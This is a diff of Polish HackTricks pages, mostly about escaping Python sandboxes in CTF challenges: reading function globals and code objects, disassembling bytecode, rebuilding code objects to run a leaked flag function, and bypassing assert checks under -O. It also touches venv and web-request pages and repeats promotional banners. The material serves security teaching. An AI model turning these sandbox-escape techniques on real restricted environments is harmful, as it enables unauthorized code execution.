Oto funkcja do zbadania:
|
||||
To jest funkcja do zbadania:
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
|
@ -778,7 +780,7 @@ dir(get_flag) #Get info tof the function
|
|||
```
|
||||
#### globals
|
||||
|
||||
`__globals__` i `func_globals` (To samo) Pobiera globalne środowisko. W przykładzie można zobaczyć kilka zaimportowanych modułów, kilka zmiennych globalnych i ich zawartość zadeklarowaną:
|
||||
`__globals__` i `func_globals` (te same) Uzyskuje globalne środowisko. W przykładzie można zobaczyć kilka zaimportowanych modułów, kilka zmiennych globalnych i ich zadeklarowaną zawartość:
|
||||
```python
|
||||
get_flag.func_globals
|
||||
get_flag.__globals__
|
||||
|
@ -787,9 +789,9 @@ get_flag.__globals__
|
|||
#If you have access to some variable value
|
||||
CustomClassObject.__class__.__init__.__globals__
|
||||
```
|
||||
[**Zobacz tutaj więcej miejsc do uzyskania zmiennych globalnych**](./#globals-and-locals)
|
||||
[**Zobacz tutaj więcej miejsc do uzyskania globals**](./#globals-and-locals)
|
||||
|
||||
### **Uzyskiwanie dostępu do kodu funkcji**
|
||||
### **Dostęp do kodu funkcji**
|
||||
|
||||
**`__code__`** i `func_code`: Możesz **uzyskać dostęp** do tego **atrybutu** funkcji, aby **uzyskać obiekt kodu** funkcji.
|
||||
```python
|
||||
|
@ -805,7 +807,7 @@ compile("print(5)", "", "single")
|
|||
dir(get_flag.__code__)
|
||||
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
|
||||
```
|
||||
### Pozyskiwanie informacji o kodzie
|
||||
### Uzyskiwanie informacji o kodzie
|
||||
```python
|
||||
# Another example
|
||||
s = '''
|
||||
|
@ -851,7 +853,7 @@ get_flag.__code__.co_freevars
|
|||
get_flag.__code__.co_code
|
||||
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
|
||||
```
|
||||
### **Rozkładanie funkcji**
|
||||
### **Rozbicie funkcji**
|
||||
```python
|
||||
import dis
|
||||
dis.dis(get_flag)
|
||||
|
@ -879,7 +881,7 @@ dis.dis(get_flag)
|
|||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
Zauważ, że **jeśli nie możesz zaimportować `dis` w piaskownicy pythona**, możesz uzyskać **bajtkod** funkcji (`get_flag.func_code.co_code`) i **rozłożyć go na części** lokalnie. Nie zobaczysz zawartości wczytywanych zmiennych (`LOAD_CONST`), ale możesz je odgadnąć z (`get_flag.func_code.co_consts`), ponieważ `LOAD_CONST` również podaje przesunięcie wczytywanej zmiennej.
|
||||
Zauważ, że **jeśli nie możesz zaimportować `dis` w piaskownicy Pythona**, możesz uzyskać **bajtowy kod** funkcji (`get_flag.func_code.co_code`) i **zdekompilować** go lokalnie. Nie zobaczysz zawartości zmiennych, które są ładowane (`LOAD_CONST`), ale możesz je zgadnąć z (`get_flag.func_code.co_consts`), ponieważ `LOAD_CONST` również informuje o przesunięciu zmiennej, która jest ładowana.
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
|
@ -903,8 +905,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
|||
```
|
||||
## Kompilowanie Pythona
|
||||
|
||||
Teraz wyobraźmy sobie, że w jakiś sposób możesz **wyciągnąć informacje o funkcji, której nie możesz wykonać**, ale **musisz** ją **wykonać**.\
|
||||
Tak jak w poniższym przykładzie, **możesz uzyskać dostęp do obiektu kodu** tej funkcji, ale czytając jej rozkład, **nie wiesz, jak obliczyć flagę** (_wyobraź sobie bardziej złożoną funkcję `calc_flag`_).
|
||||
Teraz wyobraźmy sobie, że w jakiś sposób możesz **zrzucić informacje o funkcji, której nie możesz wykonać**, ale **musisz** ją **wykonać**.\
|
||||
Jak w poniższym przykładzie, **możesz uzyskać dostęp do obiektu kodu** tej funkcji, ale tylko czytając disassemble **nie wiesz, jak obliczyć flagę** (_wyobraź sobie bardziej złożoną funkcję `calc_flag`_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
|
@ -919,7 +921,7 @@ return "Nope"
|
|||
```
|
||||
### Tworzenie obiektu kodu
|
||||
|
||||
Po pierwsze, musimy wiedzieć, **jak utworzyć i wykonać obiekt kodu**, abyśmy mogli stworzyć taki, który wykona naszą funkcję leaked:
|
||||
Przede wszystkim musimy wiedzieć **jak stworzyć i wykonać obiekt kodu**, abyśmy mogli stworzyć jeden do wykonania naszej funkcji leaked:
|
||||
```python
|
||||
code_type = type((lambda: None).__code__)
|
||||
# Check the following hint if you get an error in calling this
|
||||
|
@ -939,7 +941,7 @@ mydict['__builtins__'] = __builtins__
|
|||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
{% hint style="info" %}
|
||||
W zależności od wersji pythona **parametry** `code_type` mogą mieć **różną kolejność**. Najlepszym sposobem, aby poznać kolejność parametrów w wersji pythona, którą używasz, jest uruchomienie:
|
||||
W zależności od wersji Pythona, **parametry** `code_type` mogą mieć **inny porządek**. Najlepszym sposobem, aby poznać kolejność parametrów w wersji Pythona, którą uruchamiasz, jest uruchomienie:
|
||||
```
|
||||
import types
|
||||
types.CodeType.__doc__
|
||||
|
@ -947,10 +949,10 @@ types.CodeType.__doc__
|
|||
```
|
||||
{% endhint %}
|
||||
|
||||
### Odtwarzanie wycieku funkcji
|
||||
### Odtwarzanie wyciekłej funkcji
|
||||
|
||||
{% hint style="warning" %}
|
||||
W poniższym przykładzie będziemy pobierać wszystkie dane potrzebne do odtworzenia funkcji bezpośrednio z obiektu kodu funkcji. W **prawdziwym przykładzie** wszystkie **wartości** potrzebne do wykonania funkcji **`code_type`** to to, co **będziesz musiał ujawnić**.
|
||||
W następującym przykładzie weźmiemy wszystkie dane potrzebne do odtworzenia funkcji bezpośrednio z obiektu kodu funkcji. W **prawdziwym przykładzie**, wszystkie **wartości** potrzebne do wykonania funkcji **`code_type`** to to, co **musisz wyciek**.
|
||||
{% endhint %}
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
|
@ -962,12 +964,12 @@ mydict['__builtins__'] = __builtins__
|
|||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
#ThisIsTheFlag
|
||||
```
|
||||
### Ominięcie Obron
|
||||
### Bypass Defenses
|
||||
|
||||
W poprzednich przykładach na początku tego posta można zobaczyć **jak wykonać dowolny kod Pythona, używając funkcji `compile`**. Jest to interesujące, ponieważ można **wykonać całe skrypty** z pętlami i wszystkim w **jednej linii** (i moglibyśmy to samo zrobić używając **`exec`**).\
|
||||
W każdym razie czasami może być przydatne **utworzenie** **skompilowanego obiektu** na lokalnej maszynie i wykonanie go na maszynie **CTF** (na przykład, ponieważ nie mamy funkcji `compile` w CTF).
|
||||
W poprzednich przykładach na początku tego posta, możesz zobaczyć **jak wykonać dowolny kod python za pomocą funkcji `compile`**. To jest interesujące, ponieważ możesz **wykonać całe skrypty** z pętlami i wszystkim w **jednej linii** (i moglibyśmy zrobić to samo używając **`exec`**).\
|
||||
Tak czy inaczej, czasami może być przydatne, aby **utworzyć** **skompilowany obiekt** na lokalnej maszynie i wykonać go na **maszynie CTF** (na przykład, ponieważ nie mamy funkcji `compiled` w CTF).
|
||||
|
||||
Na przykład, skompilujmy i wykonajmy ręcznie funkcję czytającą _./poc.py_:
|
||||
Na przykład, skompilujmy i wykonajmy ręcznie funkcję, która odczytuje _./poc.py_:
|
||||
```python
|
||||
#Locally
|
||||
def read():
|
||||
|
@ -994,7 +996,7 @@ mydict['__builtins__'] = __builtins__
|
|||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
Jeśli nie możesz uzyskać dostępu do `eval` lub `exec`, możesz utworzyć **odpowiednią funkcję**, ale jej bezpośrednie wywołanie zazwyczaj zakończy się niepowodzeniem z powodu: _constructor not accessible in restricted mode_. Dlatego potrzebujesz **funkcji spoza środowiska o ograniczonym dostępie, aby wywołać tę funkcję.**
|
||||
Jeśli nie możesz uzyskać dostępu do `eval` lub `exec`, możesz stworzyć **odpowiednią funkcję**, ale jej bezpośrednie wywołanie zazwyczaj zakończy się niepowodzeniem z komunikatem: _konstruktor niedostępny w trybie ograniczonym_. Musisz więc mieć **funkcję, która nie jest w ograniczonym środowisku, aby wywołać tę funkcję.**
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
|
@ -1002,9 +1004,9 @@ ctype = type((lambda: None).func_code)
|
|||
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
|
||||
f(42)
|
||||
```
|
||||
## Dekompilacja skompilowanego Pythona
|
||||
## Decompiling Compiled Python
|
||||
|
||||
Korzystając z narzędzi takich jak [**https://www.decompiler.com/**](https://www.decompiler.com) można **dekompilować** dany skompilowany kod Pythona.
|
||||
Używając narzędzi takich jak [**https://www.decompiler.com/**](https://www.decompiler.com), można **dekompilować** dany skompilowany kod python.
|
||||
|
||||
**Sprawdź ten samouczek**:
|
||||
|
||||
|
@ -1012,12 +1014,12 @@ Korzystając z narzędzi takich jak [**https://www.decompiler.com/**](https://ww
|
|||
[.pyc.md](../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Różne Python
|
||||
## Misc Python
|
||||
|
||||
### Assert
|
||||
|
||||
Python uruchomiony z optymalizacjami za pomocą parametru `-O` usunie instrukcje assert oraz wszelki kod warunkowy zależny od wartości **debug**.\
|
||||
Dlatego sprawdzenia jak
|
||||
Python uruchomiony z optymalizacjami z parametrem `-O` usunie instrukcje asercji oraz wszelki kod warunkowy oparty na wartości **debug**.\
|
||||
Dlatego kontrole takie jak
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
try:
|
||||
|
@ -1026,7 +1028,9 @@ print("\nYou are a super user\n")
|
|||
except AssertionError:
|
||||
print(f"\nNot a Super User!!!\n")
|
||||
```
|
||||
## Referencje
|
||||
będzie obejście
|
||||
|
||||
## Odniesienia
|
||||
|
||||
* [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
|
||||
* [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/)
|
||||
|
@ -1041,16 +1045,17 @@ print(f"\nNot a Super User!!!\n")
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# venv
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) do łatwego tworzenia i **automatyzowania prac** z wykorzystaniem najbardziej zaawansowanych narzędzi społeczności.\
|
||||
Otrzymaj dostęp już dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
```bash
|
||||
|
@ -42,21 +43,22 @@ inside the virtual environment
|
|||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) do łatwego tworzenia i **automatyzacji prac** przy użyciu najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
|
||||
Otrzymaj dostęp już dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,29 @@
|
|||
# Zapytania sieciowe
|
||||
# Web Requests
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Otrzymaj dostęp już dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Zapytania w Pythonie
|
||||
## Python Requests
|
||||
```python
|
||||
import requests
|
||||
|
||||
|
@ -120,21 +121,22 @@ term.cmdloop()
|
|||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
|
||||
Otrzymaj dostęp już dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i zostań mistrzem hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,36 +1,37 @@
|
|||
# Szukaj eksploitów
|
||||
# Search Exploits
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i stań się ekspertem AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
